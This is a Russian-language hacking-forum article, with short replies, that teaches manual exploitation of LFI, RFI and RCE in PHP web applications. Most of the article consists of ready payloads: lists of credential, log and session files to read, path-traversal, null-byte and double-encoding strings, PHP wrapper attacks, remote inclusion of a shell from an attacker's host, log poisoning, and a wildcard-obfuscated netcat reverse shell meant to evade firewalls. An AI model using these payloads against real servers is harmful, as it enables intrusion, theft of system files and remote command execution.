Конкурс Эксплуатация уязвимостей LFI RFI RCE и обход комплексов безопасности.

Vertigo

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 178
3 491
Статья для участия в конкурсе Тестирование Веб-Приложений на проникновение

Приветствую Уважаемых Форумчан и Друзей.

Статья помечена как конкурсная не только для того,чтобы новички представили разнообразие пентеста.
А для вызова интереса и поддержки к участию в конкурсах.
Прошу Вас не голосовать за данную статью.Вместо этого,лучше отдайте свой голос за участников-новичков.
Ни с кем соревноваться не собираюсь,забирать призы тоже (Форум меня уже достаточно одарил).
Я всего лишь скромный брат Великого Codeby,у меня есть Братство Форума,его магия и конечно Ваше внимание.
Linux Forever . Лишь Искусство вечно в этой жизни.Надеюсь на понимание.

Поводом для написания статьи стал вопрос одного из Форумчан под статьёй о сканере,обнаруживающим уязвимости LFI.
Чтобы не раскатывать в ответе обойму на много знаков,решил выписать всё в отдельный пост.
И уж простите меня грешного,но картиночек не будет,извольте взглянуть сами при тестировании.
А постить изображения только ради самих изображений,как-то не есть гуд , да и материал будет весьма специфичный.

Многие эти способы могут понадобиться для раскручивания уязвимостей такого вида ручками.
На Оскара не претендую,для кого-то методы будут известными,а некоторые,возможно, откроют для себя что-то новое,что вызовет у меня только добрые эмоции.
Постараюсь поделиться небольшими знаниями благодаря коллегам из Азии, Black Hat, Red Team и соотечественникам.
На премию Дарвина тоже рассчитывать не желаю,поэтому:

Вся информация предназначена исключительно для ознакомления и изучения проблем безопасности.
Категорически запрещено использование рассматриваемых методик в незаконных целях.
Будьте разумными,милосердными и этичными.


Краткая справка по уязвимостям LFI , RFI , RCE
LFI-Local File Inclusion - подключения локальных файлов с выводом для чтения на стороне сервера.
Пример уязвимого кода:
LFI.PNG
Примеры обычного вызова такого скрипта:
Код:
1) http://сайт.домен/index.(тут не обязательно прям index,а необходимый параметр вам пригонит сканер)php?filename=config.php%00
2) http://сайт.домен/index.php?filename=../../../etc/passwd%00
Итог-чтение файлов с паролями,системных файлов или конфигурационных файлов.

RFI-Remote file include - удалённое выполнение кода на сервере.
Есть файл на сайте к примеру http://сайт.домен/index.html
Уязвимый PHP скрипт:
RFI.PNG
Пример обычного вызова такого скрипта:
Код:
http://сайт.домен/index.php?color=http://сервер злоумышленника.домен/file-shell.php
Итог - выполнение злоумышленником своего шелл-кода на атакуемом сервере со своего сервера и получение доступа к атакуемому сайту.

RCE-Remote code execution - удалённое внедрение кода на сервере.
RCE.PNG
Пример обычного вызова такого скрипта:http://сайт.домен/index.php?code=phpinfo();
Итог - выполнение кода с вызовом функции phpinfo()

И конечно же многие из вас пробовали стандартные методы и получили такой же стандартный отлуп от тестируемых ресурсов.
Автоматизированные инструменты также подкачали,что неудивительно.
Самое время остановить работу инструментов и под пенный напиток засучить рукава.
При этом ничего вас не должно отвлекать и сковывать движения,пальцы легко перемещаются по клавиатуре,дыхание ровное.
(Если неровное,то возможно Вы забыли обсудить разрешение на то,что собираетесь делать,бегом за письменным разрешением))

Вначале помним,что производим разведку и просканировали на обнаружение директорий по-возможности.
Дефолтные директории конечно на многих серверах остаются стандартными.
(это чтобы не играть в угадайку до каких директорий и папок прорубать путь)

Благодаря тем,у кого всё же возникают вопросы какие файлы искать для инклуда, вытаскивания,интереса.
Вооот такие ленты появляются:
c:\WINDOWS\system32\eula.txt
c:\boot.ini
c:\WINDOWS\win.ini
c:\WINNT\win.ini
c:\WINDOWS\Repair\SAM
c:\WINDOWS\php.ini
c:\WINNT\php.ini
c:\Program Files\Apache Group\Apache\conf\httpd.conf
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\xampp\apache\conf\httpd.conf
c:\php\php.ini
c:\php5\php.ini
c:\php4\php.ini
c:\apache\php\php.ini
c:\xampp\apache\bin\php.ini
c:\home2\bin\stable\apache\php.ini
c:\home\bin\stable\apache\php.ini
c:\WINDOWS\TEMP\
c:\php\sessions\
c:\php5\sessions\
c:\php4\sessions\
c:\Program Files\Apache Group\Apache\logs\access.log
c:\Program Files\Apache Group\Apache\logs\error.log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/unattend.xml
c:/unattended.xml
c:/system volume information/wpsettings.dat
windows\repair\SAM
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
/var/log/lastlog
/var/log/wtmp
/var/run/utmp
/var/log/messages.log
/var/log/messages
/var/log/messages.0
/var/log/messages.0.gz
/var/log/messages.1
/var/log/messages.1.gz
/var/log/messages.2
/var/log/messages.2.gz
/var/log/messages.3
/var/log/messages.3.gz
/var/log/syslog.log
/var/log/syslog
/var/log/syslog.0
/var/log/syslog.0.gz
/var/log/syslog.1
/var/log/syslog.1.gz
/var/log/syslog.2
/var/log/syslog.2.gz
/var/log/syslog.3
/var/log/syslog.3.gz
/var/log/auth.log
/var/log/auth.log.0
/var/log/auth.log.0.gz
/var/log/auth.log.1
/var/log/auth.log.1.gz
/var/log/auth.log.2
/var/log/auth.log.2.gz
/var/log/auth.log.3
/var/log/auth.log.3.gz
/etc/passwd
/etc/master.passwd
/etc/shadow
/var/db/shadow/hash
/etc/group
/etc/hosts
/etc/motd
/etc/issue
/etc/release
/etc/redhat-release
/etc/crontab
/etc/inittab
/proc/version
/proc/cmdline
/proc/self/environ
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/255
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/etc/httpd.conf
/etc/apache2.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/apache2/conf/httpd.conf
/etc/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/etc/apache2/sites-enabled/000-default
/etc/apache2/sites-available/default
/etc/nginx.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-available/default
/etc/nginx/sites-enabled/default
/etc/ssh/sshd_config
/etc/my.cnf
/etc/mysql/my.cnf
/etc/php.ini
/var/mail/www-data
/var/mail/www
/var/mail/apache
/var/mail/nobody
/var/www/.bash_history
/root/.bash_history
/var/root/.bash_history
/var/root/.sh_history
/usr/local/apache/httpd.conf
/usr/local/apache2/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/apache2/conf/httpd.conf
/usr/apache/conf/httpd.conf
/etc/http/conf/httpd.conf
/etc/http/httpd.conf
/opt/apache/conf/httpd.conf
/opt/apache2/conf/httpd.conf
/var/www/conf/httpd.conf
/usr/local/php/httpd.conf
/usr/local/php4/httpd.conf
/usr/local/php5/httpd.conf
/usr/local/etc/php/7.2
/usr/local/etc/php/7.2/php.ini
/usr/local/etc/php/7.2/php-fpm.conf
/usr/local/etc/php-fpm.d/
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/apache/conf/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/7.2/apache2/php.ini
/etc/php/7.2/fpm/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/etc/php7/cgi/php.ini
Для Solaris
/var/log/authlog
/var/log/syslog
/var/adm/lastlog
/var/adm/messages
/var/adm/messages.0
/var/adm/messages.1
/var/adm/messages.2
/var/adm/messages.3
/var/adm/utmpx
/var/adm/wtmpx
Для Solaris и Linux
/etc/passwd
/etc/master.passwd
/etc/shadow
/var/db/shadow/hash
/etc/group
/etc/hosts
/etc/motd
/etc/issue
/etc/release
/etc/redhat-release
/etc/crontab
/etc/inittab
/proc/version
/proc/cmdline
/proc/self/environ
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/255
/etc/httpd.conf
/etc/apache2.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/apache2/conf/httpd.conf
/etc/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/etc/apache2/sites-enabled/000-default
/etc/apache2/sites-available/default
/etc/nginx.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-available/default
/etc/nginx/sites-enabled/default
/etc/ssh/sshd_config
/etc/my.cnf
/etc/mysql/my.cnf
/etc/php.ini
/var/mail/www-data
/var/mail/www
/var/mail/apache
/var/mail/nobody
/var/www/.bash_history
/root/.bash_history
/var/root/.bash_history
/var/root/.sh_history
/usr/local/apache/httpd.conf
/usr/local/apache2/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/apache2/conf/httpd.conf
/usr/apache/conf/httpd.conf
/etc/http/conf/httpd.conf
/etc/http/httpd.conf
/opt/apache/conf/httpd.conf
/opt/apache2/conf/httpd.conf
/var/www/conf/httpd.conf
/usr/local/php/httpd.conf
/usr/local/php4/httpd.conf
/usr/local/php5/httpd.conf
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/apache/conf/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/var/log/kernel.log
/var/log/secure.log
/var/log/mail.log
/var/run/utmp
/var/log/wtmp
/var/log/lastlog
/var/log/access.log
/var/log/access_log
/var/log/error.log
/var/log/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/httpd/access.log
/var/log/httpd/access_log
/var/log/httpd/error.log
/var/log/httpd/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/error.log
/usr/local/apache2/logs/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/opt/lampp/logs/access.log
/opt/lampp/logs/access_log
/opt/lampp/logs/error.log
/opt/lampp/logs/error_log
/opt/xampp/logs/access.log
/opt/xampp/logs/access_log
/opt/xampp/logs/error.log
/opt/xampp/logs/error_log
/tmp/sess_<sessid>
/var/lib/php/session/sess_<sessid>
/var/lib/php5/session/sess_<sessid>

Прежде чем перейти к методикам эксплуатацации LFI и RFI,необходимо отметить,что при наличии современной версии PHP 7.2 вопрос открытый.
Сканеры могут обозначить уязвимый параметр скорее из-за какой-нибудь активной опасной директивы,но проэксплуатировать шанс ничтожно мал.
В сфере ИБ исключаются утвердительные акценты(вероятность существования 0day),всё отсылается к интервалу времени.
Это если говорить строго в прямых рамках рассматриваемых уязвимостей,без гибридных атак.

Эксплуатация таких уязвимостей ,особенно RFI зависит от активных директив allow_url_include и allow_url_fopen в настройках файлов php.ini,php-apache.ini,php-cli.ini
Местоположение таких файлов различное в системах , в зависимости от серверных модулей.
К примеру, если есть файл php-SAPI.ini ,то вместо php.ini будет использован файл php-apache.ini
Если все они активированы параметром ON-это увеличивает шанс успешной эскплуатации.

Переходим к методам

1) Подкачка файла,параметр определения местоположения.
Может сработать только в древних версиях PHP
Способ реализуют при атаке серверов под управлением Linux
Код:
http: //сайт.домен/index.php?page=../../../../../../../../../../../../etc/passwd
http://сайт.домен/page=../../../../../../etc/passwd
http://сайт.домен/index.php?page=../../../etc/passwd?-иногда помогает такое изменение запроса и обход фильтра.

    Возможные варианты для Windows:

http://сайт.домен/css.php?file=../../../../../../..tmp/
http://сайт.домен/css.php?file=../../../../../../../../WindowsTemp
Переходы на уровни выше в каталогах /../ не стесняемся и ручками добавляем по нарастающей,чего обычно не делают инструменты.
Путь до корневой директории может быть неблизким,но не перебарщивайте,в стратосферу улетать не надо.
Но если заметили,что к запросу дописывается такое значение в конце: /etc/passwd.php ,либо иное значение,
то пробуем без расширения .php,пусть оно само допишется и когда ничего не выходит,или дописывается что-то иное-бросайте этот метод.
И да ,в системах BSD вот это вот /etc/passwd не ищите ,есть /etc/master.passwd в NetInfo directory и увидеть его может только суперпользователь.

2) Использование Null-byte
Данный способ отлично помогает обойти многие фильтры
Пример атак:
Код:
http://сайт.домен/page=../../../../../etc/passwd%00
http://сайт.домен/index.php?page=../../../../etc/passwd.php%00
http://сайт.домен/index.php?page=../../../../etc/passwd.php%2500
3) String limit - уменьшение строки для сброса приписываемого окончания или усечеие пути.
Применяется этот метод если версия PHP ниже 5.3 и когда в конце запроса дописывается как раз что-то иное, или расширение .php
Другими словами, экранируется возможность применения Null-byte и в настройках magic_quotes_gpc=On , а не No
А вам необходимо выдернуть файл с расширением .txt (а видим бесполезное в итоге file.txt.php).
Добавляем строки /./. и здесь гектарами наполняем наш запрос в конце такими слешами.

Почаще работаем клавишами Shift+Ctrl+C и Shift+Ctrl+V.
Заодно показываю вам ,как одним запросом перевыполнить план на Форуме по количеству печатных знаков при написании статей.
Здесь хоть до Марса,но не более 4096 символов -это лимит некоторых файловых систем UNIX.
С Windows вообще-то не разгоняйтесь - там 255,260 символов.Часто достаточно где-то 200 симоволов при таком методе независимо от платформы.
Вот, даже спорить не буду,сам боюсь запутаться,смотрим по этой части мегатонны очень полезной

А есть ведь ещё лимиты символов в URL-адресе :
Чтобы не рисковать,стандартный лимит равен 2000 символов.
Internet Explorer-2048,но может быть ограничен платформой,у которой лимит в 255 символов.
Mozilla Firefox,Chrome,Safari-65536 (100КБ)
Opera-200 КБ
Сервер IIS- minim=16 КБ,но разгоняется настройками до max=16 МБ
Сервер Lotus Notes-вроде 4 КБ
Сервер Apache 128 КБ,но регулируется параметром LimitRequestLine сервера.
Да и попробуйте ещё найти такую версию PHP,когда рулит сейчас PHP 7.2 и php5.6 вроде популярен.
Но может быть и такое, что с Заказчиком пентеста Вам придётся оставить совет обновиться при себе и не спрашивайте почему.
Вкратце, ваш многостроковый запрос при использовании этого метода может выглядеть так:
Код:
http://сайт.домен/index.php?page=../../../../../../../../../../../../etc/passwd/././././././././././././././
Разновидность этого способа:только в начале запроса пишем либо существующую,либо выдуманную директорию.
Запрос должен заканчиваться точкой, а не слешем как в вышеприведённом примере.
Увидели слеш в конце - добавьте в название директории букву или убавьте:
Код:
http://сайт.домен/index.php?page=vertigo/../../../../../../etc/passwd/././././././././././././././.
А вот это уже посерьёзней и посовременней:
Код:
http://сайт.домен/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.
http://сайт.домен/index.php?page=/etc/passwd/../../../../../../../../../../../../../..
http://сайт.домен/index.php?page=../../../../../../etc/my.cnf/././././././././././.
4) Метод php://filter и попытка получения base64 исходников файла php.Начинаем использовать варианты с Wrapper (обёртки)
Данные техники применяются как для LFI , так и RFI.
Осторожно!! В этих техниках используются попытки внедрения мини-шеллов и вредоносных скриптов.
В примерах приведены реальные атакующие скрипты,способные нанести непоправимый вред.

Код:
http://сайт.домен/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
http://сайт.домен/index.php?page=php://filter/read=string.rot13/resource=index.php
http://сайт.домен/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://сайт.домен/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
Применяется такая конструкция:
construkt.PNG
В случае успеха,перед вами выведется строка в base64,которую пытаемся декодировать что-то вроде:

0KEg0YLQsNC60L7QuSDQu9GO0LHQvtC30L3QsNGC0LXQu9GM0L3QvtGB0YLRjNGOINCS0LDRgSDQttC00ZHRgiDQsdC+0LvRjNGI0L7QtSDQsdGD0LTRg9GJ0LXQtQ==


Wrapper data:// Заворачиваем полезные нагрузки в base64
Attack1.PNG
Attack2.PNG
data:URI schema Версия php больше или равна 5.2
allow_url_fopen и allow_url_include активны.
Attack3.PNG
Wrapper zip://
Данный вариант основан на обработке ZIP Wrapper загруженных файлов за счёт возможности активной функции загрузки.
Также здесь используется почтовый фильтр через LFI.
Смысл атаки в создании reverse-shell в сжатом виде,загрузке на атакуемый ресурс с последующим его вызовом.
Attack4.PNG
Wrapper expect:// Попытка выполнения системных команд
Но модуль PHP expect может быть выключен (если оставлен по-умолчанию)
Код:
http://сайт.домен/index.php?page=expect://id
http://сайт.домен/index.php?page=expect://ls
Wrapper phar:// Создаём свой файл phar с meta-data
Расчёт на наличие у приложения класса AnyClass с активным destruct (),wakeup ()
Модуль присутствует по умолчанию в PHP,а сам пакет файлового архива аналогичен файлу jar на Java,
который облегчает миграцию модулей PHP.

Следим при создании файла phar,чтобы параметр phar.readonly был выключен,иначе файл не запишется.
После запуска нижеуказанного вредоносного кода в текущем каталоге будет создан файл с именем shell.phar.
Этот файл может быть использован include file_get_contents и другими функциями.

Например, имя загруженного файла ограничено. И мы не сможем загрузить файл php (имя суффикса ограничивается включением «$ file», . php ').
Поэтому и грузим phar и затем тут же переходим к использованию методу с php://filter .
В Азии совместное применение этих техник почему-то называется "Использование псевдопротокола".
Attack5.PNG
glob:// Попытка обхода каталога,Поиск шаблонов путей сопоставления файлов.
Attack6.PNG
Wrapper input://
На ресурсе должна быть активирована allow_url_include
Указываем полезную нагрузку в POST-параметрах:
Attack7.PNG
5) Используем для обхода фильтров Double url-encoding - неотъемлимая составляющая в эксплуатации LFI.
Союзниками такого способа являются уязвимости Path Traversal и Directory traversal
Атака:
Код:
http://сайт.домен/index.php?page=%252e%252e%252fetc%252fpasswd%00
http://сайт.домен/index.php?page=%252e%252e%252fetc%252fpasswd
http://сайт.домен/index.php?page=....//....//etc/passwd
http://сайт.домен/index.php?page=..///////..////..//////etc/passwd
http://сайт.домен/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Варианты кодировки символов ../..\
%252e%252e%252f
%252e%252e%255c
%2e%2e%2f
%2e%2e/
%2e%2e\
%2e%2e%5c
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae%c1%9c
..%c0%af
%c0%ae%c0%ae/
..%c1%9c
Для эксплуатации RFI характерны похожие векторы атак с применением Null byte:
Атака
Код:
http://сайт.домен/index.php?page=http://ресурс_атакующего/shell.txt%00
С техникой Double encoding:
Код:
http://сайт.домен/index.php?page=http:%252f%252fресурс_атакующего%252fshell.txt
Раскручиваем LFI до RCE

1) Условием является успешное включение через LFI /proc/self/environ
Вводится исходный код с помощью заголовка User Agent, после чего используем LFI, пытаемся включить на ресурсе /proc/self/environ
Это позволяет перезагрузить переменные среды, выполнив reverse shell.
Простая реализация:
Attack8.PNG
2) С помощью загрузок.Здесь есть несколько разновидностей,все они касаются залития вариантов shell.
Attack9.PNG
3) С помощью PHP sessions
Путь сохранения файла сеанса php можно увидеть в phpinfo session.save_path.
Формат имени cессии - sess_ [phpsessid]. И phpsessid мы должны контролировать,что можно увидеть в поле cookie отправленного и захваченного в Burpsuite запроса.
Пора ,кстати , дать передышку рукам и подключить для этого Burpsuite.
Атака относится к труднореализуемым,т.к. не всё возможно контролировать поскольку сеансы имеют временный характер и связаны с tmp.

Хранилища для php-сеанса:
Код:
var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
/var/lib/php5/sess_[PHPSESSID] files
Attack10.PNG
4) С помощью журналируемых логов. Для этого и были указаны в списках файлов пути до таких файлов.
Вводится исходный код в файлы журнала в целевой системе через открытые службы.
Одним из способов является отправка reverse-shell в URL-адрес, тогда syslog запишет в журнал apache ошибку( код 404-страницы не найденной записи).
Затем используют утилиту Netcat для вызова загруженного shell .
Пожалуй,один из немногих методов,который использует включенное журналирование (при выключенном ,ясное дело,не сработает).
Attack11.PNG
Техника обхода WAF для эксплуатации LFI RCE
Методика основана на особенностях синтаксиса bash и шаблонов, позволяющая обойти серьёзные настройки защиты.
К примеру,WAF настроен к блокировке запросов на /bin/ls и /etc/passwd как внутри значения параметра GET,так и в теле POST
Если сделать запрос типа /?cmd=cat+/etc/passwd,то навороченная WAF заблокирует не только выполнение запроса,но и ваш IP.
Используя в запросе подстановочные символы,шанс выполнения этого же запроса резко возрастает:
/?cmd=%2f???%2f??t%20%2f???%2fp??s??


А так к примеру: ls *. ??? будут перечислены все файлы в текущем каталоге с расширением длиной в 3 символа (.gif, .jpg, .txt)
Что за метод из приколов в терминале, скажете вы.Кому приколы , а кому с помощью Netcat ,Curl и Wget так вызывается беспрепятственно обратная оболочка.
Или вталкивается shell и эксплуатируется RCE.
Например,если у себя вызвать reverse shell командой nc -e /bin/bash 127.0.0.1 1337,
можно добиться того же результата применив синтаксис:/???/n? -e /???/b??h 2130706433 1337

Так,стоп.Будет несправедливо поступить со свежим материалом в стиле "Знаю вот такой способ,сейчас расскажу вам о нём"
Это стоит увидеть,Ребята, с иллюстрациями,к тому же это большое исследование автора,вызвавшее шок среди безопасников.
Проверены все уровни настроек WAF, вплоть до параноидальных с попытками обхода защиты c результатами.

Кое-где аккуратненько перепечатывают посты,мы не будем этим заниматься.
Поэтому читаем оригиналы и наслаждаемся и
(Если у кого проблемы с английским,могу кинуть свежие ссылки на китайском,с которого для себя перевёл одну из этих статей))

Что нового?
1) При создании приватных нагрузок для успешной эксплуатации LFI для чтения конфигурационных файлов применяется следующий каркас:
..\//..\//..\//{payload}\;%00
Большие Дядьки с огромными black-hat с широченными полями зарабатывают на уязвимостях крупных ресурсов большие деньги.
С применением такого каркаса недавно взломали сайт одного из мировых ритейлеров.

2) Пока готовил материал, насмотрелся разного, хорошо что не страдаю страстью к дорогим гаджетам.
Владельцы Apple скоро будут читать наверное новости о уязвимостях,позволяющие читать приватную информацию за счёт эскалации привелегий.
Не уклоняясь от темы: из последних уязвимостей RCE носит обозначение CVE-2018-8495
Касается она Windows Server 2016, Windows 10, Windows 10 Servers.
Реализацию эксплуатации можно наглядно увидеть

3) И из категории 0day этого месяца конкретно по RCE,есть проблема с РПДУ Juuko jk-800
Который используется в промышленности .
Также актуальна на текущую дату сентябрьская CVE-2018-8423 для Windows.
Уязвимость позволяет злоумышленникам выполнять удалённо произвольный код на Microsoft Windows.
Реализация её требует взаимодействия с пользователем, который посещает вредоносную страницу и открывает вредоносный файл.


На этом у меня всё,Благодарю за внимание, да прибудут с вами высшие силы терминала.
 
Последнее редактирование:
1984

1984

Red Team
08.03.2018
114
230
Ознакомился со статьёй, исключительно из этичных соображений. Весьма заинтересовало. Не могли бы Вы подсказать, в каком разделе данного форума я могу ознакомиться с азами этой темы (либо книгу)? Заранее благодарен.
 
Vertigo

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 178
3 491
Не могли бы Вы подсказать, в каком разделе данного форума я могу ознакомиться с азами этой темы (либо книгу)?
Благодарю за внимание. Чтобы книгу отдельную по конкретной уязвимости не встречал.Обычно только брошюры и презентации с конференций.
На форуме есть ещё тема ,с которой стоит ознакомиться.
[Новичкам] LFI или как открывать произвольный файл на сервере.
В основном конечно,ютуб-лучшее наглядное пособие,где Вы можете найти очень много роликов .
Искать нужно насколько возможно свежие ролики,либо из доверенных источников (как пособие).
Потому что информация должна откладываться свежей,а не устаревшей и не бойтесь изучать со сложного.
Ссылки Вам , по актуальным азам.
 
  • Нравится
Реакции: 1984 и IioS
E

Elektrolife

Well-known member
21.10.2016
216
33
Приветствую! Отличная статья! Можно чуть подробнее остановится на RCE уязвимостях. В идеале конечно не с лабораторными а реальными примерами,так проще усваивается )

Например сканнер из вашей предыдущей статьи нашёл вот такую ссылку :
https://www.test.ru//index.php?page=../../../etc/passwd

Каким инструментом вы пользуетесь для перехода,просто в строке браузера ? Что я должен увидеть при успешной эксплуатации ?
 
M

masscontrolx

Active member
02.03.2018
41
8
Каким инструментом вы пользуетесь для перехода,просто в строке браузера ? Что я должен увидеть при успешной эксплуатации ?
Да в браузере вставляем наш готовый LFI/RFI/RCE и при успешной эксплуатации покажет на странице содержимое файла /etc/passwd
 
  • Нравится
Реакции: Vertigo
Мы в соцсетях: